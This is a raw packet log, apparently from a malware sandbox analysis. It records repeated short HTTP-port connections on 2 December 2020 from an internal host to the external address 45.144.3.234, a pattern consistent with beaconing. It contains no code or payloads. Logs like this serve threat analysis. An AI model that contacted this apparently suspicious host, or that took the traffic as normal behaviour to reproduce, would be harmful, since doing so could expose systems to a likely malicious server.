Dec 2, 2020 11:54:17.509660959 CET	49955	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:17.562303066 CET	80	49955	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:17.562423944 CET	49955	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:17.615010977 CET	80	49955	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:17.634665966 CET	80	49955	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:17.634705067 CET	80	49955	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:17.634840012 CET	49955	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:17.635078907 CET	49955	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:17.687643051 CET	80	49955	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:17.875099897 CET	49956	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:17.928231001 CET	80	49956	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:17.928349018 CET	49956	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:17.931638002 CET	49956	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:17.984597921 CET	80	49956	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:17.984682083 CET	49956	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:18.037722111 CET	80	49956	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:18.084548950 CET	80	49956	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:18.084595919 CET	80	49956	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:18.084676981 CET	49956	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:18.084764004 CET	49956	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:18.137567043 CET	80	49956	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:18.264074087 CET	49957	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:18.316611052 CET	80	49957	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:18.316770077 CET	49957	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:18.320179939 CET	49957	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:18.373341084 CET	80	49957	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:18.373460054 CET	49957	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:18.426909924 CET	80	49957	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:18.450665951 CET	80	49957	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:18.450725079 CET	80	49957	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:18.450855017 CET	49957	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:18.450885057 CET	49957	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:18.503309965 CET	80	49957	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:18.731687069 CET	49958	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:18.784570932 CET	80	49958	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:18.784712076 CET	49958	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:18.788388968 CET	49958	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:18.840961933 CET	80	49958	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:18.841100931 CET	49958	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:18.893764019 CET	80	49958	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:18.917300940 CET	80	49958	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:18.917335987 CET	80	49958	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:18.917458057 CET	49958	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:18.917613983 CET	49958	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:18.970429897 CET	80	49958	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:19.180704117 CET	49959	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:19.233480930 CET	80	49959	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:19.233673096 CET	49959	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:19.241028070 CET	49959	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:19.293625116 CET	80	49959	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:19.293788910 CET	49959	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:19.349196911 CET	80	49959	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:19.373668909 CET	80	49959	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:19.373724937 CET	80	49959	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:19.373878002 CET	49959	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:19.374016047 CET	49959	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:19.427011013 CET	80	49959	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:19.568366051 CET	49960	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:19.621083975 CET	80	49960	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:19.621253967 CET	49960	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:19.628892899 CET	49960	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:19.682837963 CET	80	49960	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:19.683029890 CET	49960	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:19.735903978 CET	80	49960	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:19.758888006 CET	80	49960	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:19.758943081 CET	80	49960	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:19.759071112 CET	49960	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:19.759135008 CET	49960	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:19.812436104 CET	80	49960	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:19.955461979 CET	49961	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:20.007868052 CET	80	49961	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:20.008013964 CET	49961	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:20.012145042 CET	49961	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:20.064696074 CET	80	49961	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:20.064877987 CET	49961	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:20.117301941 CET	80	49961	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:20.137866020 CET	80	49961	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:20.137923002 CET	80	49961	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:20.138076067 CET	49961	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:20.138139963 CET	49961	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:20.190491915 CET	80	49961	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:20.413201094 CET	49962	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:20.466026068 CET	80	49962	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:20.466231108 CET	49962	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:20.474217892 CET	49962	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:20.526902914 CET	80	49962	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:20.527012110 CET	49962	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:20.579739094 CET	80	49962	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:20.612632036 CET	80	49962	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:20.612673998 CET	80	49962	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:20.612823963 CET	49962	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:20.612951994 CET	49962	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:20.665664911 CET	80	49962	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:20.803719997 CET	49963	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:20.862773895 CET	80	49963	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:20.862893105 CET	49963	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:20.865487099 CET	49963	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:20.919960976 CET	80	49963	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:20.920099020 CET	49963	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:20.972712994 CET	80	49963	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:20.993083000 CET	80	49963	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:20.993145943 CET	80	49963	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:20.993258953 CET	49963	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:20.993341923 CET	49963	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:21.047183990 CET	80	49963	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:21.195457935 CET	49964	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:21.246608019 CET	80	49964	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:21.246746063 CET	49964	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:21.251329899 CET	49964	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:21.302472115 CET	80	49964	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:21.302613020 CET	49964	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:21.354022026 CET	80	49964	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:21.376930952 CET	80	49964	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:21.376981020 CET	80	49964	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:21.377080917 CET	49964	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:21.377116919 CET	49964	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:21.428313017 CET	80	49964	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:21.555187941 CET	49965	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:21.609445095 CET	80	49965	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:21.609544992 CET	49965	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:21.612720013 CET	49965	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:21.665241957 CET	80	49965	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:21.665374041 CET	49965	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:21.717868090 CET	80	49965	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:21.738056898 CET	80	49965	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:21.738104105 CET	80	49965	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:21.738219976 CET	49965	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:21.738368034 CET	49965	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:21.790714025 CET	80	49965	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:21.935115099 CET	49966	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:21.987013102 CET	80	49966	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:21.987211943 CET	49966	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:21.993889093 CET	49966	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:22.045686007 CET	80	49966	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:22.045826912 CET	49966	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:22.099278927 CET	80	49966	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:22.123760939 CET	80	49966	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:22.123814106 CET	80	49966	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:22.124100924 CET	49966	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:22.124156952 CET	49966	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:22.175877094 CET	80	49966	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:22.341667891 CET	49967	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:22.397527933 CET	80	49967	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:22.397721052 CET	49967	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:22.405112982 CET	49967	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:22.467843056 CET	80	49967	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:22.467976093 CET	49967	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:22.520944118 CET	80	49967	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:22.542134047 CET	80	49967	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:22.542181969 CET	80	49967	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:22.542330027 CET	49967	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:22.542402983 CET	49967	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:22.594935894 CET	80	49967	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:22.759588003 CET	49968	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:22.811675072 CET	80	49968	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:22.811908007 CET	49968	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:22.819144964 CET	49968	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:22.871206045 CET	80	49968	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:22.871330023 CET	49968	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:22.923433065 CET	80	49968	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:22.944391966 CET	80	49968	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:22.944422960 CET	80	49968	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:22.944516897 CET	49968	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:22.944566965 CET	49968	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:22.999387026 CET	80	49968	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:23.130531073 CET	49969	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:23.183933020 CET	80	49969	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:23.184103966 CET	49969	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:23.191459894 CET	49969	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:23.244259119 CET	80	49969	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:23.244364023 CET	49969	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:23.297174931 CET	80	49969	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:23.319731951 CET	80	49969	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:23.319781065 CET	80	49969	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:23.319849014 CET	49969	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:23.319890976 CET	49969	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:23.373116016 CET	80	49969	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:23.540122986 CET	49970	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:23.592288971 CET	80	49970	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:23.592737913 CET	49970	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:23.600042105 CET	49970	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:23.653904915 CET	80	49970	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:23.653995037 CET	49970	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:23.706242085 CET	80	49970	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:23.739670992 CET	80	49970	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:23.739732027 CET	80	49970	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:23.739840984 CET	49970	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:23.739881039 CET	49970	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:23.797178984 CET	80	49970	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:23.947472095 CET	49971	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:24.000967026 CET	80	49971	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:24.001090050 CET	49971	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:24.003742933 CET	49971	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:24.056480885 CET	80	49971	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:24.056588888 CET	49971	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:24.109291077 CET	80	49971	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:24.134993076 CET	80	49971	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:24.135049105 CET	80	49971	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:24.135116100 CET	49971	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:24.135206938 CET	49971	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:24.187896013 CET	80	49971	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:24.358620882 CET	49972	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:24.410423040 CET	80	49972	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:24.410528898 CET	49972	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:24.413582087 CET	49972	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:24.465291977 CET	80	49972	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:24.465447903 CET	49972	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:24.517266989 CET	80	49972	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:24.556477070 CET	80	49972	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:24.556535006 CET	80	49972	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:24.556606054 CET	49972	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:24.556649923 CET	49972	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:24.608731031 CET	80	49972	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:24.807563066 CET	49973	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:24.862802982 CET	80	49973	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:24.862957954 CET	49973	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:24.870784044 CET	49973	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:24.923422098 CET	80	49973	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:24.924897909 CET	49973	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:24.977709055 CET	80	49973	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:25.002434015 CET	80	49973	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:25.002492905 CET	80	49973	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:25.002563000 CET	49973	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:25.002583027 CET	49973	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:25.055248022 CET	80	49973	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:25.226291895 CET	49974	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:25.280394077 CET	80	49974	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:25.280651093 CET	49974	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:25.288194895 CET	49974	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:25.340409994 CET	80	49974	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:25.340574980 CET	49974	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:25.393058062 CET	80	49974	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:25.414858103 CET	80	49974	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:25.414921999 CET	80	49974	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:25.415075064 CET	49974	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:25.415131092 CET	49974	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:25.467482090 CET	80	49974	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:25.663642883 CET	49975	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:25.715650082 CET	80	49975	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:25.715815067 CET	49975	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:25.721544027 CET	49975	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:25.773500919 CET	80	49975	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:25.773643017 CET	49975	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:25.825531006 CET	80	49975	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:25.849072933 CET	80	49975	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:25.849111080 CET	80	49975	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:25.849282980 CET	49975	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:25.849355936 CET	49975	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:25.903172016 CET	80	49975	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:26.087186098 CET	49976	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:26.139708996 CET	80	49976	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:26.139859915 CET	49976	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:26.144787073 CET	49976	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:26.197299004 CET	80	49976	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:26.197416067 CET	49976	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:26.250271082 CET	80	49976	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:26.272979021 CET	80	49976	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:26.273195028 CET	49976	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:26.273221016 CET	80	49976	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:26.273313046 CET	49976	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:26.328151941 CET	80	49976	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:26.513962030 CET	49977	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:26.567951918 CET	80	49977	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:26.568038940 CET	49977	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:26.570982933 CET	49977	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:26.625777006 CET	80	49977	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:26.625888109 CET	49977	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:26.679157972 CET	80	49977	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:26.711049080 CET	80	49977	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:26.711133003 CET	80	49977	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:26.711216927 CET	49977	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:26.711255074 CET	49977	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:26.765065908 CET	80	49977	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:26.944292068 CET	49978	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:26.996433020 CET	80	49978	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:26.999022007 CET	49978	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:27.002604008 CET	49978	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:27.054511070 CET	80	49978	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:27.054647923 CET	49978	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:27.106713057 CET	80	49978	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:27.132330894 CET	80	49978	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:27.132390022 CET	80	49978	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:27.132519007 CET	49978	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:27.132577896 CET	49978	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:27.184545994 CET	80	49978	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:27.377003908 CET	49979	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:27.436136961 CET	80	49979	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:27.436270952 CET	49979	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:27.439599991 CET	49979	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:27.493062973 CET	80	49979	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:27.493242979 CET	49979	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:27.545881033 CET	80	49979	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:27.568900108 CET	80	49979	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:27.568986893 CET	80	49979	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:27.569166899 CET	49979	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:27.569261074 CET	49979	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:27.621819973 CET	80	49979	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:27.781239986 CET	49980	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:27.837121010 CET	80	49980	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:27.837281942 CET	49980	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:27.844926119 CET	49980	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:27.897783995 CET	80	49980	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:27.897897005 CET	49980	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:27.950376987 CET	80	49980	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:27.972228050 CET	80	49980	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:27.972285986 CET	80	49980	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:27.972397089 CET	49980	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:27.972598076 CET	49980	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:28.024606943 CET	80	49980	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:28.151627064 CET	49981	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:28.204003096 CET	80	49981	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:28.204153061 CET	49981	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:28.210752964 CET	49981	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:28.263066053 CET	80	49981	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:28.263191938 CET	49981	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:28.315819979 CET	80	49981	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:28.339982986 CET	80	49981	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:28.340058088 CET	80	49981	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:28.340174913 CET	49981	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:28.340332031 CET	49981	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:28.393898964 CET	80	49981	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:28.588951111 CET	49982	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:28.640835047 CET	80	49982	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:28.641508102 CET	49982	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:28.648578882 CET	49982	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:28.704807997 CET	80	49982	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:28.707230091 CET	49982	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:28.759110928 CET	80	49982	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:28.783734083 CET	80	49982	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:28.783792973 CET	80	49982	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:28.783899069 CET	49982	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:28.783946037 CET	49982	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:28.837847948 CET	80	49982	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:29.036648035 CET	49983	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:29.089318037 CET	80	49983	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:29.089489937 CET	49983	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:29.097569942 CET	49983	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:29.151305914 CET	80	49983	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:29.151492119 CET	49983	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:29.203830004 CET	80	49983	45.144.3.234	192.168.2.6
